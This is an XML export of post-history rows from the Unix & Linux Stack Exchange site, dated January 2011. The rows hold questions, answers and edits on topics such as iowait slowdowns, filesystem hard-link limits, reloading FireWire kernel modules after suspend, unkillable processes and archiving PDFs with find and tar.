  <row Id="12663" PostHistoryTypeId="5" PostId="5631" RevisionGUID="7c6433ff-8678-4bb4-be24-2c8eb7825dfc" CreationDate="2011-01-10T17:20:51.733" UserId="688" Comment="added 73 characters in body" Text="I never quite understood why high disk I/O slowed the system so much. It's strange to me because I would expect the slow-down to affect only those processes dependent on the hard/optical drive data, but the slow-down affects even stuff loaded onto RAM. I'm here referring to __iowait__.&#xD;&#xA;&#xD;&#xA;Why does the processor wait, instead of doing other work? Can anyone explain this limitation and why it hasn't been solved in Linux kernel? Is there a kernel out there that doesn't have this problem?&#xD;&#xA;&#xD;&#xA;[__note__] There has been [some progress][1] in this performance area. For one, the later kernels (2.6.37 in my case) are much more responsive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5565/whats-the-progress-regarding-improving-system-performance-responsiveness-during" />
  <row Id="12664" PostHistoryTypeId="2" PostId="5632" RevisionGUID="24a1e020-98cc-4304-a2e3-5ef1fb22ff1f" CreationDate="2011-01-10T17:22:42.240" UserId="2180" Text="I'm not completely confident with this yet, so take it with a grain of salt and more research.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It starts with the kernel hotplug subsystem. After a device is setup, it calls whatever userspace program is setup to handle hotplug events. This can be set by 'echo hotplug_handler &gt; /proc/sys/kernel/hotplug'. When the kernel launches the hotplug handler, it sets up some environment variables. If you want to, you can setup a script that just logs the environment and set it up as the handler (not on your production system, of course - a test setup).&#xD;&#xA;&#xD;&#xA;Usually (I believe), udev is setup as the handler, and it will have several rules setup about how to handle events. From there, it can launch other programs that do other things (like issue dbus messages). These udev rules are highly dependent on the particular distribution of interest." />
  <row Id="12665" PostHistoryTypeId="2" PostId="5633" RevisionGUID="43786985-5a28-4316-9cb2-58c2e77e69cb" CreationDate="2011-01-10T17:46:57.027" UserId="2780" Text="This is file system dependent." />
  <row Id="12666" PostHistoryTypeId="2" PostId="5634" RevisionGUID="9c02e097-a76a-4a8e-b9b9-cb76dc187eb1" CreationDate="2011-01-10T17:55:02.397" UserId="1144" Text="Looking at the ext3 inode structure disk format in the linux kernel sources (*include/linux/ext3_fs.h*) that lists the links count as being a 16 bit number&#xD;&#xA;&#xD;&#xA;    struct ext3_inode {&#xD;&#xA;        ... snip ...&#xD;&#xA;        __le16  i_links_count;  /* Links count */&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I guess that means that an ext3 filesystem can have up to 65535 links.&#xD;&#xA;&#xD;&#xA;I haven't checked the values for other filesystems." />
  <row Id="12667" PostHistoryTypeId="5" PostId="5633" RevisionGUID="b8b323b8-74f2-4e93-a287-81df175902dd" CreationDate="2011-01-10T18:01:31.210" UserId="2780" Comment="added 342 characters in body; deleted 145 characters in body" Text="This is file system dependent.&#xD;&#xA;&#xD;&#xA;ext2/3/4 limit is 65k links&#xD;&#xA;&#xD;&#xA;[ext4 source](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=fs/ext4/ext4.h) line 595, `struct ext4_inode` -&gt; `__le16  i_links_count`&#xD;&#xA;" />
  <row Id="12668" PostHistoryTypeId="2" PostId="5635" RevisionGUID="21c23757-7315-4193-b1d5-22b72a0f2e64" CreationDate="2011-01-10T18:06:41.017" UserId="1974" Text="As mentioned [in this question](http://unix.stackexchange.com/questions/5372/under-ubuntu-how-do-i-set-a-static-ip-for-firewire) I am using a firewire cable to provide a private network between my laptop and my desktop, because it makes using the screen sharing program `synergy` much nicer than using WIFI.&#xD;&#xA;&#xD;&#xA;However when I leave my office for the day and I suspend my laptop, when I return the next day, the desktop and the laptop cannot communicate over firewire anymore. The `firewire0` device still has an IP address. but when I try and ping the desktop I get `no route to host`&#xD;&#xA;&#xD;&#xA;I'm using kernel `2.6.35-24-generic #42-Ubuntu SMP x86_64` on Ubuntu 10.10.&#xD;&#xA;&#xD;&#xA;Is there some way I can remedy this without a reboot? Like, removing some kernel modules and re-inserting them?" />
  <row Id="12669" PostHistoryTypeId="1" PostId="5635" RevisionGUID="21c23757-7315-4193-b1d5-22b72a0f2e64" CreationDate="2011-01-10T18:06:41.017" UserId="1974" Text="Suspending my laptop breaks ethernet over firewire, are there commands which can fix it?" />
  <row Id="12670" PostHistoryTypeId="3" PostId="5635" RevisionGUID="21c23757-7315-4193-b1d5-22b72a0f2e64" CreationDate="2011-01-10T18:06:41.017" UserId="1974" Text="éubuntuàénetworkingàésuspendàéfirewireà" />
  <row Id="12671" PostHistoryTypeId="2" PostId="5636" RevisionGUID="67b7cca0-60ea-4388-a885-163015a55d5b" CreationDate="2011-01-10T18:17:58.633" UserId="688" Text="Have you tried using `modprobe`?&#xD;&#xA;&#xD;&#xA;Running `dmesg | grep firewire`, I get:&#xD;&#xA;&#xD;&#xA;    [    1.192574] firewire_ohci 0000:0a:04.0: PCI INT A -&gt; GSI 20 (level, low) -&gt; IRQ 20&#xD;&#xA;    [    1.192585] firewire_ohci 0000:0a:04.0: setting latency timer to 64&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;This says that the name of the module is __firewire_ohci__.&#xD;&#xA;&#xD;&#xA;So I run ([as root][1]) `modprobe -v firewire_ohci`. Try that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
  <row Id="12672" PostHistoryTypeId="5" PostId="5636" RevisionGUID="6f922c05-a6ff-48df-b09f-b9fb45db80c8" CreationDate="2011-01-10T18:24:58.283" UserId="688" Comment="added 73 characters in body" Text="Have you tried using `modprobe`?&#xD;&#xA;&#xD;&#xA;Running `dmesg | grep firewire`, I get:&#xD;&#xA;&#xD;&#xA;    [    1.192574] firewire_ohci 0000:0a:04.0: PCI INT A -&gt; GSI 20 (level, low) -&gt; IRQ 20&#xD;&#xA;    [    1.192585] firewire_ohci 0000:0a:04.0: setting latency timer to 64&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;This says that the name of the module is __firewire_ohci__.&#xD;&#xA;&#xD;&#xA;So I run ([as root][1]) `modprobe -vr firewire_ohci &amp;&amp; modprobe -v firewire_ohci`. There removes and inserts the modules, respectively.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
  <row Id="12673" PostHistoryTypeId="5" PostId="5635" RevisionGUID="0a59ebc1-0226-47f5-8648-2fe76d3054c5" CreationDate="2011-01-10T18:25:57.887" UserId="1974" Comment="added 1722 characters in body" Text="As mentioned [in this question](http://unix.stackexchange.com/questions/5372/under-ubuntu-how-do-i-set-a-static-ip-for-firewire) I am using a firewire cable to provide a private network between my laptop and my desktop, because it makes using the screen sharing program `synergy` much nicer than using WIFI.&#xD;&#xA;&#xD;&#xA;However when I leave my office for the day and I suspend my laptop, when I return the next day, the desktop and the laptop cannot communicate over firewire anymore. The `firewire0` device still has an IP address. but when I try and ping the desktop I get `no route to host`&#xD;&#xA;&#xD;&#xA;I'm using kernel `2.6.35-24-generic #42-Ubuntu SMP x86_64` on Ubuntu 10.10.&#xD;&#xA;&#xD;&#xA;Is there some way I can remedy this without a reboot? Like, removing some kernel modules and re-inserting them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT:** Here's what I have tried so far and the results:&#xD;&#xA;&#xD;&#xA;    root@token:~# dmesg|tail -n 1&#xD;&#xA;    [592525.204024] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;&#xD;&#xA;    root@token:~# modprobe -r firewire_net firewire_ohci firewire_core&#xD;&#xA;    root@token:~# modprobe -v firewire_ohci&#xD;&#xA;    insmod /lib/modules/2.6.35-24-generic/kernel/lib/crc-itu-t.ko &#xD;&#xA;    insmod /lib/modules/2.6.35-24-generic/kernel/drivers/firewire/firewire-core.ko &#xD;&#xA;    insmod /lib/modules/2.6.35-24-generic/kernel/drivers/firewire/firewire-ohci.ko &#xD;&#xA;&#xD;&#xA;    root@token:~# dmesg|tail&#xD;&#xA;    [592525.204024] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;    [592563.410868] firewire_ohci: Removed fw-ohci device.&#xD;&#xA;    [592579.160086] firewire_ohci: Added fw-ohci device 0000:02:00.0, OHCI v1.10, 4 IR + 8 IT contexts, quirks 0x2&#xD;&#xA;    [592579.160137] firewire_ohci: isochronous cycle inconsistent&#xD;&#xA;    [592579.660294] firewire_core: created device fw0: GUID 0000000000000000, S400&#xD;&#xA;    [592579.663805] firewire_core: created device fw1: GUID 0017f2fffe89bce6, S400&#xD;&#xA;    [592579.663813] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;    [592579.700720] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;    [592579.700842] firewire_core: refreshed device fw0&#xD;&#xA;    [592579.702603] firewire_net: firewire0: IPv4 over FireWire on device 0000000000000000&#xD;&#xA;&#xD;&#xA;    root@token:~# ping stan.firewire&#xD;&#xA;    PING stan.firewire (192.168.100.1) 56(84) bytes of data.&#xD;&#xA;    From token.local (192.168.100.3) icmp_seq=1 Destination Host Unreachable&#xD;&#xA;    From token.local (192.168.100.3) icmp_seq=2 Destination Host Unreachable&#xD;&#xA;    From token.local (192.168.100.3) icmp_seq=3 Destination Host Unreachable&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12674" PostHistoryTypeId="5" PostId="5614" RevisionGUID="753faf88-a888-4c5c-8c15-e103bfeede55" CreationDate="2011-01-10T18:55:09.853" UserId="885" Comment="short explanation of a symbol table; cite mksysmap script" Text="[`System.map`](http://en.wikipedia.org/wiki/System.map) contains a [symbol table](http://en.wikipedia.org/wiki/Symbol_table), i.e. a list of function names in the Linux kernel, with for each function the address at which its code is loaded in memory (the addresses are not physical addresses, they're in the kernel's address space, like any executable symbol table is in the loaded process address space). This isn't limited to system calls (the interfaces exposed to user processes): the file also lists functions that might be called by a loaded module, and even internal functions. The system calls are the symbols whose name begins with `sys_`.&#xD;&#xA;&#xD;&#xA;The addresses are associated to a particular kernel binary (`vmlinux`, `bzImage` or other format; the image format doesn't change the addresses, it's just an encoding); they are reproducible for a given kernel source, configuration and compiler. The file is generated by [`scripts/mksysmap`](http://lxr.linux.no/#linux+v2.6.37/scripts/mksysmap) near the end of the kernel build process; it is the output of the [`nm`](http://sourceware.org/binutils/docs-2.21/binutils/nm.html) command.&#xD;&#xA;&#xD;&#xA;The file is used mainly for debugging, but it's also read when compiling some third-party modules that use unstable kernel interfaces (unstable as in changing from one version to the next).&#xD;&#xA;" />
  <row Id="12675" PostHistoryTypeId="2" PostId="5637" RevisionGUID="db18d593-2158-4a39-bb01-42d060586cfa" CreationDate="2011-01-10T19:23:17.490" UserId="885" Text="Posix requires that the operating system understand the concept of hard links but not that hard links can actually be used in any particular circumstance. You can find out how many hard links are permitted at a particular location (this can vary by filesystem type) by calling &lt;code&gt;[pathconf](http://pubs.opengroup.org/onlinepubs/009695399/functions/pathconf.html)(filename, [_PC_LINK_MAX](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/unistd.h.html#tag_13_80_03_04))&lt;/code&gt;. Of course, just because you haven't run into the limit doesn't mean [`link()`](http://pubs.opengroup.org/onlinepubs/009695399/functions/link.html) will succeed (you might not have permission, the disk may be full, …).&#xD;&#xA;&#xD;&#xA;The [`stat`](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/sys/stat.h.html#tag_13_62_03) structure stores the link count in a field of type [`nlink_t`](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/sys/types.h.html#tag_13_67_03), so the type of this field gives an upper limit on your system. But there's a good chance you'll never be able to reach that far: it's common to have a 32-bit `nlink_t` but only 16 bits in many filesystems (a quick grep in the Linux source shows that ext[234], NTFS, UFS and XFS use 16-bit link counts in the kernel data structures).&#xD;&#xA;" />
  <row Id="12676" PostHistoryTypeId="2" PostId="5638" RevisionGUID="521bf055-00ea-4797-8562-f11393ecf745" CreationDate="2011-01-10T19:24:58.410" UserId="1375" Text="As I slowly migrate from Apple's Mac OS X to a Linux distribution, I try to find good replacements for Apple's iLife software suite.&#xD;&#xA;I particularly like the current iMovie's image stabilisation feature, where at the cost of losing a bit of resolution, shaky footage can be stablised that you almost can't tell the camera was shaking.&#xD;&#xA;Is there an open source Linux video editor that has a similar feature?" />
  <row Id="12677" PostHistoryTypeId="1" PostId="5638" RevisionGUID="521bf055-00ea-4797-8562-f11393ecf745" CreationDate="2011-01-10T19:24:58.410" UserId="1375" Text="Video editor w/ stablisation?" />
  <row Id="12678" PostHistoryTypeId="3" PostId="5638" RevisionGUID="521bf055-00ea-4797-8562-f11393ecf745" CreationDate="2011-01-10T19:24:58.410" UserId="1375" Text="éstabilityàévideoöeditingàéstablizationàéfootageà" />
  <row Id="12679" PostHistoryTypeId="2" PostId="5639" RevisionGUID="25ab04d5-ed21-4db5-9c60-697d698915ae" CreationDate="2011-01-10T19:30:11.680" UserId="281" Text="(This is just a guess based on what I remember from a course on operating systems during my student years - I'm by no means an expert in these things.)&#xD;&#xA;&#xD;&#xA;Operating systems make use of [virtual memory][1] so that more memory can be used than there is physical RAM available. When the kernel decides that it has a better use for a physical memory page, the process memory in it may be &quot;paged out&quot; for storage on disk. When such a memory page is accessed, it generates a &quot;page fault&quot; and is moved back from the disk to RAM. Page faults are a disaster for performance because disk latency is measured in microseconds, while RAM latency is measured in nanoseconds.&#xD;&#xA;&#xD;&#xA;Memory is not only used by user processes, but also by the kernel for things like file system caching. During file system activity, the kernel will cache recently used data. The assumption is that there is a good chance that the same data will be used again shortly, so caching should improve I/O performance.&#xD;&#xA;&#xD;&#xA;Physical memory being used for the file system cache cannot be used for processes, so during file system activity more process memory will be paged out and page faults will increase.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Virtual_memory" />
  <row Id="12680" PostHistoryTypeId="5" PostId="5638" RevisionGUID="38ac5edf-7b95-4d9c-b6c9-45b802898fee" CreationDate="2011-01-10T19:36:13.187" UserId="73" Comment="added 5 characters in body; edited title; edited tags" Text="As I slowly migrate from Apple's Mac OS X to a Linux distribution, I try to find good replacements for Apple's iLife software suite. I particularly like the current iMovie's image stabilization feature, where at the cost of losing a bit of resolution, shaky footage can be stabilized so that you almost can't tell the camera was shaking.&#xD;&#xA;&#xD;&#xA;Is there an open source Linux video editor that has a similar feature?" />
  <row Id="12681" PostHistoryTypeId="4" PostId="5638" RevisionGUID="38ac5edf-7b95-4d9c-b6c9-45b802898fee" CreationDate="2011-01-10T19:36:13.187" UserId="73" Comment="added 5 characters in body; edited title; edited tags" Text="Video editor w/ stabilization?" />
  <row Id="12682" PostHistoryTypeId="6" PostId="5638" RevisionGUID="38ac5edf-7b95-4d9c-b6c9-45b802898fee" CreationDate="2011-01-10T19:36:13.187" UserId="73" Comment="added 5 characters in body; edited title; edited tags" Text="évideoöeditingàéfootageàéstabilizationà" />
  <row Id="12683" PostHistoryTypeId="2" PostId="5640" RevisionGUID="89a2b7cc-32cc-4279-8f5d-466bdc2469db" CreationDate="2011-01-10T19:43:54.447" UserId="885" Text="The errors from `replace` are harmless, it's just telling you (cryptically) that these files are directories and it can't act on them.&#xD;&#xA;&#xD;&#xA;But you do need to run `phpize` and `./configure …` before you can run `make`.&#xD;&#xA;" />
  <row Id="12684" PostHistoryTypeId="2" PostId="5641" RevisionGUID="7094bfd4-08a5-4df0-8f3a-99b78d3395ec" CreationDate="2011-01-10T19:45:19.763" UserId="3558" Text="I'm trying to create a compressed tarball that contains all PDF files that exist in one of my directories. The directory structure needs to be retained. Empty directories are not needed, but I really don't care if they're there.&#xD;&#xA;&#xD;&#xA;For example, say I had a directory that looked like this:&#xD;&#xA;&#xD;&#xA;	dir&#xD;&#xA;	dir/subdir1&#xD;&#xA;	dir/subdir1/subsubdir1/song.mp3&#xD;&#xA;	dir/subdir2&#xD;&#xA;	dir/subdir2/subsubdir1&#xD;&#xA;	dir/subdir2/subsubdir1/document.pdf&#xD;&#xA;	dir/subdir2/subsubdir1/another-song.mp3&#xD;&#xA;	dir/subdir2/subsubdir1/top-ten-movies.txt&#xD;&#xA;	dir/subdir3&#xD;&#xA;	dir/subdir3/another-document.pdf&#xD;&#xA;&#xD;&#xA;After running the command, I'd like to have `dir.tar.gz` contain this:&#xD;&#xA;&#xD;&#xA;	dir&#xD;&#xA;	dir/subdir2&#xD;&#xA;	dir/subdir2/subsubdir1&#xD;&#xA;	dir/subdir2/subsubdir1/document.pdf&#xD;&#xA;	dir/subdir3&#xD;&#xA;	dir/subdir3/another-document.pdf&#xD;&#xA;&#xD;&#xA;Possible?" />
  <row Id="12685" PostHistoryTypeId="1" PostId="5641" RevisionGUID="7094bfd4-08a5-4df0-8f3a-99b78d3395ec" CreationDate="2011-01-10T19:45:19.763" UserId="3558" Text="Tar up all PDFs in a directory, retaining directory structure" />
  <row Id="12686" PostHistoryTypeId="3" PostId="5641" RevisionGUID="7094bfd4-08a5-4df0-8f3a-99b78d3395ec" CreationDate="2011-01-10T19:45:19.763" UserId="3558" Text="éfilesàédirectoryàéfindàétaràédirectoryöstructureà" />
  <row Id="12687" PostHistoryTypeId="2" PostId="5642" RevisionGUID="ca60ce68-a581-45fd-b4d3-15ca5fe45971" CreationDate="2011-01-10T19:51:43.213" UserId="688" Text="I have a process I can't kill with `kill -9 process-pid`. What's the problem in such a case, considering that nothing should evade that `kill` option.&#xD;&#xA;&#xD;&#xA;[__note__] I am the owner of that process." />
  <row Id="12688" PostHistoryTypeId="1" PostId="5642" RevisionGUID="ca60ce68-a581-45fd-b4d3-15ca5fe45971" CreationDate="2011-01-10T19:51:43.213" UserId="688" Text="What if 'kill -9' doesn't work?" />
  <row Id="12689" PostHistoryTypeId="3" PostId="5642" RevisionGUID="ca60ce68-a581-45fd-b4d3-15ca5fe45971" CreationDate="2011-01-10T19:51:43.213" UserId="688" Text="éprocessàékillà" />
  <row Id="12690" PostHistoryTypeId="2" PostId="5643" RevisionGUID="ae178a75-7412-4c3b-ba16-33b6413a1b9f" CreationDate="2011-01-10T19:52:29.093" UserId="73" Text="This will list all the PDFs:&#xD;&#xA;&#xD;&#xA;    $ find dir/ -name '*.pdf'&#xD;&#xA;    ./dir/subdir2/subsubdir1/document.pdf&#xD;&#xA;    ./dir/subdir3/another-document.pdf&#xD;&#xA;&#xD;&#xA;You can pipe that to `xargs` to get it as a single space-delimited line, and feed that to `tar` to create the archive:&#xD;&#xA;&#xD;&#xA;    $ find dir/ -name '*.pdf' | xargs tar czf dir.tar.gz&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(This way omits the empty directories)&lt;/sub&gt;" />
  <row Id="12691" PostHistoryTypeId="2" PostId="5644" RevisionGUID="fc95ee8c-4663-4606-9ccf-521af9ded42d" CreationDate="2011-01-10T19:52:33.377" UserId="1924" Text="in my FFGUI on linux when I convert files I don't get output. I mean clear bash console shows up and then I see just my bash con. I probably misconfigured it but I ain't sure. Could you help me ?" />
  <row Id="12692" PostHistoryTypeId="1" PostId="5644" RevisionGUID="fc95ee8c-4663-4606-9ccf-521af9ded42d" CreationDate="2011-01-10T19:52:33.377" UserId="1924" Text="FFMPEG no output" />
  <row Id="12693" PostHistoryTypeId="3" PostId="5644" RevisionGUID="fc95ee8c-4663-4606-9ccf-521af9ded42d" CreationDate="2011-01-10T19:52:33.377" UserId="1924" Text="éubuntuàéffmpegà" />
  <row Id="12694" PostHistoryTypeId="2" PostId="5645" RevisionGUID="26e4bf2b-6108-4253-8c91-6e17659fb020" CreationDate="2011-01-10T19:53:58.133" UserId="1924" Text="Did you use sudo before command?&#xD;&#xA;&#xD;&#xA;It should help.&#xD;&#xA;" />
  <row Id="12695" PostHistoryTypeId="6" PostId="5638" RevisionGUID="ee3c0142-b550-42d6-b09d-6d13f29971ec" CreationDate="2011-01-10T19:56:39.583" UserId="885" Comment="edited tags" Text="ésoftwareörecàévideoöeditingàéfootageàéstabilizationà" />
  <row Id="12696" PostHistoryTypeId="2" PostId="5646" RevisionGUID="6cdfeb0e-aa99-4679-bb3d-c7e26c9d33c4" CreationDate="2011-01-10T20:02:08.857" UserId="1974" Text="It sounds like you might have a [zombie process](http://en.wikipedia.org/wiki/Zombie_process).  If you do, you could try killing the parent process, or, you may have to reboot the system. " />
  <row Id="12697" PostHistoryTypeId="2" PostId="5647" RevisionGUID="f2f73a95-ffd0-4dd2-ada1-76151951d69e" CreationDate="2011-01-10T20:03:39.157" UserId="305" Text="Sometime process exists and cannot be killed due to:&#xD;&#xA;&#xD;&#xA; - being zombie. I.e. process which parent did not read the exit status. Such process does not consume any resources except PID entry. In `top` it is signalled Z&#xD;&#xA; - errornous uninterruble sleep. It should not happen but with combination of buggy kernel code and/or buggy hardware it sometime does. The only method is to reboot or wait. In `top` it is signalled by D." />
  <row Id="12698" PostHistoryTypeId="5" PostId="5644" RevisionGUID="ae590c24-3f7c-40fb-a1a5-e25c1e915ab4" CreationDate="2011-01-10T20:04:17.020" UserId="1924" Comment="added 135 characters in body; edited body" Text="in my WinFF on linux ubuntu 10.04 when I convert files (every format into any using standard procedure) I don't get output. I mean clear bash console shows up and then I see just my shell con. I probably misconfigured (in past it was working) it but I ain't sure.I reinstalled everything but problem continues. Could you help me ?" />
  <row Id="12699" PostHistoryTypeId="5" PostId="5621" RevisionGUID="f0522fed-4084-4aa0-ba5e-017a3d451024" CreationDate="2011-01-10T20:07:16.640" UserId="688" Comment="update" Text="Running `ssh user@hostname` takes ~30s. Here's the scenario:&#xD;&#xA;&#xD;&#xA;* this is a VM on the local LAN&#xD;&#xA;* Windows and Mac machines get instant login&#xD;&#xA;* am using Debian and I could reproduce with an Ubuntu machine&#xD;&#xA;* someone using Ubuntu says that logging into my machine (local LAN) is also instant&#xD;&#xA;* using hostname IP address takes about half as much time (~15s)&#xD;&#xA;&#xD;&#xA;[__update__]&#xD;&#xA;&#xD;&#xA;Using `ssh -vvv user@hostname`, here's where it waits the most:&#xD;&#xA;&#xD;&#xA;    debug3: authmethod_lookup gssapi-with-mic&#xD;&#xA;    debug3: remaining preferred: publickey,keyboard-interactive,password&#xD;&#xA;    debug3: authmethod_is_enabled gssapi-with-mic&#xD;&#xA;    debug1: Next authentication method: gssapi-with-mic&#xD;&#xA;&#xD;&#xA;And then it waits a bit here:&#xD;&#xA;&#xD;&#xA;    debug1: Unspecified GSS failure.  Minor code may provide more information&#xD;&#xA;    Credentials cache file '/tmp/krb5cc_1000' not found&#xD;&#xA;&#xD;&#xA;    debug1: Unspecified GSS failure.  Minor code may provide more information&#xD;&#xA;    Credentials cache file '/tmp/krb5cc_1000' not found&#xD;&#xA;" />
  <row Id="12700" PostHistoryTypeId="5" PostId="5646" RevisionGUID="158315a8-eb91-434a-ab07-5ddf99363275" CreationDate="2011-01-10T20:07:26.920" UserId="1974" Comment="added 136 characters in body; added 1 characters in body" Text="It sounds like you might have a [zombie process](http://en.wikipedia.org/wiki/Zombie_process).  If you do, you could try killing the parent process, or, you may have to reboot the system. &#xD;&#xA;&#xD;&#xA;You can see if the process is a zombie by using `top` or the following command:&#xD;&#xA;&#xD;&#xA;    ps aux | awk '{ print $8 &quot; &quot; $2 }' | grep -w Z" />
  <row Id="12701" PostHistoryTypeId="5" PostId="5639" RevisionGUID="99848142-3ace-44de-a294-c1eb218d3a04" CreationDate="2011-01-10T20:08:30.240" UserId="281" Comment="added 41 characters in body" Text="(This is just a guess based on what I remember from a course on operating systems during my student years - I'm by no means an expert in these things.)&#xD;&#xA;&#xD;&#xA;Operating systems make use of [virtual memory][1] so that more memory can be used than there is physical RAM available. When the kernel decides that it has a better use for a physical memory page, the process memory in it may be &quot;paged out&quot; for storage on disk. When such a memory page is accessed, it generates a &quot;page fault&quot; and is moved back from the disk to RAM. Page faults are a disaster for performance because disk latency is measured in milliseconds, while RAM latency is measured in nanoseconds. (1 millisecond = a million nanoseconds!)&#xD;&#xA;&#xD;&#xA;Memory is not only used by user processes, but also by the kernel for things like file system caching. During file system activity, the kernel will cache recently used data. The assumption is that there is a good chance that the same data will be used again shortly, so caching should improve I/O performance.&#xD;&#xA;&#xD;&#xA;Physical memory being used for the file system cache cannot be used for processes, so during file system activity more process memory will be paged out and page faults will increase.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Virtual_memory" />
  <row Id="12702" PostHistoryTypeId="2" PostId="5648" RevisionGUID="2458510c-88e3-4dbf-b468-64dd949c705b" CreationDate="2011-01-10T20:08:45.453" UserId="885" Text="`kill -9` ([SIGKILL](http://en.wikipedia.org/wiki/SIGKILL)) always works, provided you have the permission to kill the process. Basically either the process must be started by you and not be setuid or setgid, or you must be root.&#xD;&#xA;&#xD;&#xA;However `kill -9` is not guaranteed to work immediately. While the process is executing a system call, signals are often blocked. Kernel code can block even SIGKILL; this is done when interrupting the system call would result in a badly formed data structure somewhere in the kernel, or more generally in some kernel invariant being violated. If due to a bug a system call blocks indefinitely, there may simply be no way to kill the process.&#xD;&#xA;&#xD;&#xA;A process blocked in a system call is in [uninterruptible sleep](http://en.wikipedia.org/wiki/Sleep_%28operating_system%29#Uninterruptible_sleep). The `ps` or `top` command will (on most unices) show it in state `D` (originally for “&lt;strong&gt;d&lt;/strong&gt;isk”, I think).&#xD;&#xA;" />
  <row Id="12703" PostHistoryTypeId="5" PostId="5639" RevisionGUID="c964eb60-03c6-45c8-9294-0835364094fc" CreationDate="2011-01-10T20:17:23.683" UserId="281" Comment="added 44 characters in body" Text="(This is just a guess based on what I remember from a course on operating systems during my student years - I'm by no means an expert in these things.)&#xD;&#xA;&#xD;&#xA;Operating systems make use of [virtual memory][1] so that more memory can be used than there is physical RAM available. When the kernel decides that it has a better use for a physical memory page, its content may be &quot;paged out&quot; for storage on disk. When such a virtual memory page is accessed while paged out, it generates a &quot;page fault&quot; and is moved back from the disk to RAM. Page faults are a disaster for performance because disk latency is measured in milliseconds, while RAM latency is measured in nanoseconds. (1 millisecond = a million nanoseconds!)&#xD;&#xA;&#xD;&#xA;Memory is not only used by user processes, but also by the kernel for things like file system caching. During file system activity, the kernel will cache recently used data. The assumption is that there is a good chance that the same data will be used again shortly, so caching should improve I/O performance.&#xD;&#xA;&#xD;&#xA;Physical memory being used for the file system cache cannot be used for processes, so during file system activity more process memory will be paged out and page faults will increase. As a result processes may stall.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Virtual_memory" />
  <row Id="12704" PostHistoryTypeId="2" PostId="5649" RevisionGUID="f9df6d01-2962-4a3d-bb78-87d40f6e5b99" CreationDate="2011-01-10T20:22:21.433" UserId="2339" Text="I compiled a package for Solaris 11 Express that has some library dependencies, which I also compiled from source and installed in the usual /usr/local. (And Solaris doesn't even *have* /usr/local pre-created!) So, my program runs correctly, but I have to run it with&#xD;&#xA;&#xD;&#xA;    LD_LIBRARY_PATH=/usr/local/lib ./myprogram&#xD;&#xA;&#xD;&#xA;or it complains that it couldn't find libsomething.so.&#xD;&#xA;&#xD;&#xA;How do I include /usr/local/lib in the library search path, system-wide? Linux has /etc/ld.so.conf -- Solaris doesn't." />
  <row Id="12705" PostHistoryTypeId="1" PostId="5649" RevisionGUID="f9df6d01-2962-4a3d-bb78-87d40f6e5b99" CreationDate="2011-01-10T20:22:21.433" UserId="2339" Text="Does Solaris have an equivalent to /etc/ld.so.conf?" />
  <row Id="12706" PostHistoryTypeId="3" PostId="5649" RevisionGUID="f9df6d01-2962-4a3d-bb78-87d40f6e5b99" CreationDate="2011-01-10T20:22:21.433" UserId="2339" Text="ésolarisàéconfigurationàélibrariesàédynamicölinkingà" />
  <row Id="12707" PostHistoryTypeId="5" PostId="5639" RevisionGUID="e150e5b3-1f8c-43dc-845f-aa036c451916" CreationDate="2011-01-10T20:25:30.997" UserId="281" Comment="added 89 characters in body; added 102 characters in body; added 20 characters in body" Text="(This is just a guess based on what I remember from a course on operating systems during my student years - I'm by no means an expert in these things.)&#xD;&#xA;&#xD;&#xA;Operating systems make use of [virtual memory][1] so that more memory can be used than there is physical RAM available. When the kernel decides that it has a better use for a physical memory page, its content may be &quot;paged out&quot; for storage on disk. When such a virtual memory page is accessed while paged out, it generates a &quot;page fault&quot; and is moved back from the disk to RAM. Page faults are a disaster for performance because disk latency is measured in milliseconds, while RAM latency is measured in nanoseconds. (1 millisecond = a million nanoseconds! See also this [visualization][2] where 1 pixel = 1 nanosecond; zoom in at the top!)&#xD;&#xA;&#xD;&#xA;Memory is not only used by user processes, but also by the kernel for things like file system caching. During file system activity, the kernel will cache recently used data. The assumption is that there is a good chance that the same data will be used again shortly, so caching should improve I/O performance.&#xD;&#xA;&#xD;&#xA;Physical memory being used for the file system cache cannot be used for processes, so during file system activity more process memory will be paged out and page faults will increase. Also, less disk I/O bandwidth is available for moving memory pages from and to the disk. As a result processes may stall.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Virtual_memory&#xD;&#xA;  [2]: http://i.imgur.com/X1Hi1.gif" />
